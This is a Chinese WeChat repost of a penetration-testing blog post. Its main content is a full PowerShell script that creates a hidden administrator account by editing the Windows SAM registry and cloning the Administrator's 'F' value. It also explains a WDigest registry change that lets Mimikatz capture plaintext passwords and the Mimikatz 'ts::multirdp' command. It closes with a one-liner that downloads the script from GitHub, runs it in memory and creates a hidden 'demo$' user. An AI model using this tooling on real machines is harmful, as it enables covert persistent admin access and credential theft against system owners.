微信号:programmer_club

介绍:程序员第一自媒体,与你探讨码农人生路上遇到的各类泛技术话题,定期为你推荐码农人生思考、感悟以及启迪!

你能找到我么?-- 隐藏用户建立(Powershell)

2018-05-19 22:00 程序员之家

最近做测试的时候发现,windows server2012 使用Mimikatz是直接抓不到明文密码的,而且,直接创建的账号登陆有时会碰到这个问题:

ps:2012抓明文需要HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"设置为1,类型为DWORD 32才可以,然后下次用户再登录,才能记录到明文密码。


后来发现以前的建立克隆账号的方式是可以使得新建的账号登陆系统的,为了方便,整理了一个powershell脚本,脚本可以自动修改注册表键值权限(需要用administrator权限运行,即bypassuac以后的权限),之后在进行操作。具体代码如下:


function Create-Clone
{
<#
.SYNOPSIS
This script requires Administrator privileges. use Invoke-
TokenManipulation.ps1 to get system privileges and create the clone user.
.PARAMETER u
The clone username
.PARAMETER p
The clone user's password
.PARAMETER cu
The user to clone, default administrator
.EXAMPLE
Create-Clone -u evi1cg -p evi1cg123 -cu administrator
#>
    Param(
        [Parameter(Mandatory=$true)]
        [String]
        $u,
   
        [Parameter(Mandatory=$true)]
        [String]
        $p,
   
        [Parameter(Mandatory=$false)]
        [String]
        $cu = "administrator"
    )
    function upReg{
        "HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM [1 17]"| Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]" | Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17] "| Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17] "| Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]"| Out-File -Append  $env:temp\up.ini
        cmd /c "regini $env:temp\up.ini"
        Remove-Item $env:temp\up.ini
       
    }
    function downreg {
        "HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM [17]"| Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains [17]" | Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [17] "| Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [17] "| Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [17]"| Out-File -Append  $env:temp\down.ini
        cmd /c "regini $env:temp\down.ini"
        Remove-Item $env:temp\down.ini
    }
    function Create-user ([string]$Username,[string]$Password) {
        $group = "Administrators"
        $existing = Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$Username"
        if (!$existing) {
            Write-Host "[*] Creating new local user $Username with password $Password"
            & NET USER $Username $Password /add /y /expires:never | Out-Null
            Write-Host "[*] Adding local user $Username to $group."
            & NET LOCALGROUP $group $Username /add | Out-Null
               
        }
        else {
            Write-Host "[*] Adding existing user $Username to $group."
            & NET LOCALGROUP $group $Username /add | Out-Null
            $adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
            $exist = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }
            Write-Host "[*] Setting password for existing local user $Username"
            $exist.SetPassword($Password)
        }
   
        Write-Host "[*] Ensuring password for $Username never expires."
        & WMIC USERACCOUNT WHERE "Name='$Username'" SET PasswordExpires=FALSE   | Out-Null 
    }
    function GetUser-Key([string]$user)
    {
        cmd /c " echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user [1 17] >> $env:temp\$user.ini"
        cmd /c "regini $env:temp\$user.ini"
        Remove-Item $env:temp\$user.ini
        if(Test-Path -Path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$user"){
            cmd /c "regedit /e $env:temp\$user.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user""
            $file = Get-Content "$env:temp\$user.reg"  | Out-String
            $pattern="@=hex\((.*?)\)\:"
            $file -match $pattern |Out-Null
            $key = "00000"+$matches[1]
            Write-Host "[!]"$key
            return $key
        }else {
            Write-Host "[-] SomeThing Wrong !"
        }
           
    }
    function Clone ([string]$ukey,[string]$cukey) {
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey [1 17] "| Out-File $env:temp\f.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$cukey [1 17] " | Out-File $env:temp\f.ini
        cmd /c " regini $env:temp\f.ini"
        Remove-Item $env:temp\f.ini
        $ureg = "HKLM:\SAM\SAM\Domains\Account\Users\$ukey" |Out-String
        $cureg = "HKLM:\SAM\SAM\Domains\Account\Users\$cukey" |Out-String
        Write-Host "[*] Get clone user'F value"
        $cuFreg = Get-Item -Path $cureg.Trim()
        $cuFvalue = $cuFreg.GetValue('F')
        Write-Host "[*] Change user'F value"
        Set-ItemProperty -path $ureg.Trim()  -Name "F" -value $cuFvalue
        $outreg = "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey"
        cmd /c "regedit /e $env:temp\out.reg $outreg.Trim()"
    }
    function Main () {
        if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
        {
            Write-Output "Script must be run as administrator"
            break
        }
        Write-Output "[*] Start"
        Write-Output "[*] Tring to change reg privilege !"
        upReg
        if( !(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$cu")){
            Write-Host "[-] The User to Clone does not exist !"
            Write-Output "[*] Change reg privilege back !"
            downReg
            Write-Output "[*] Exiting !"
        }
        else {
            if(!(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$u")){
                $tmp = "1"
            }
            else{
                $tmp = "0"
            }
            Write-Output "[*] Create User..."
            Create-user $u $p
            Write-Output "[*] Get User $u's  Key .."
            $ukey = GetUser-Key $u |Out-String
            Write-Output "[*] Get User $cu's  Key .."
            $cukey = GetUser-Key $cu |Out-String
            Write-Output "[*] Clone User.."
            Clone $ukey $cukey
            if($tmp -eq 1 ){
                Write-Output "[*] Delete User.."
                cmd /c "net User $u /del " |Out-Null
            }else{ Write-Output "[*] Don't need to delete.."}
            cmd /c "regedit /s $env:temp\$u.reg"
            cmd /c "regedit /s $env:temp\out.reg"
            Remove-Item $env:temp\*.reg
            Write-Output "[*] Change reg privilege back !"
            downreg
            Write-Output "[*] Done"
        }     
    }
    Main
}


GITHUB:


新建账号以后,可成功登陆系统


在Win7上做的测试如下:


demo:https://evi1cg.me/usr/uploads/2017/11/clone.gif


当然可以配合这个姿势来实现多用户登陆。


使用mimikatz.exe,执行ts::multirdp允许多用户远程登录


ps:该方法在系统重启后失效,下次使用需要重新执行命令ts::multirdp,也可通过修改文件termsrv.dll实现永久修改


最后是远程执行的方式:


powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Create-Clone.ps1'); Create-Clone -u demo$ -p test123


文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/UserClone.html

公众号内回复“1”带你进粉丝群

 
程序员之家 更多文章 坚果 R1 手机和 TNT 电脑发布:裤子都脱了,罗永浩你给我看这个? 程序员口述:前端领域年薪30万真的不难! 危局!一代枭雄突然公布!谁也逃不掉! IT人永远不老?做梦!老程序员价值何在? 讲真! 两年前的“5G投票”, 联想做了什么?
猜您喜欢 学习Android x86模拟器root 安装xposed Hulu大数据团队继续招聘 拼智商拿新书—每周乐 Start! DevOps 10大IT管理工具 女工程师到底有没有受到不公平待遇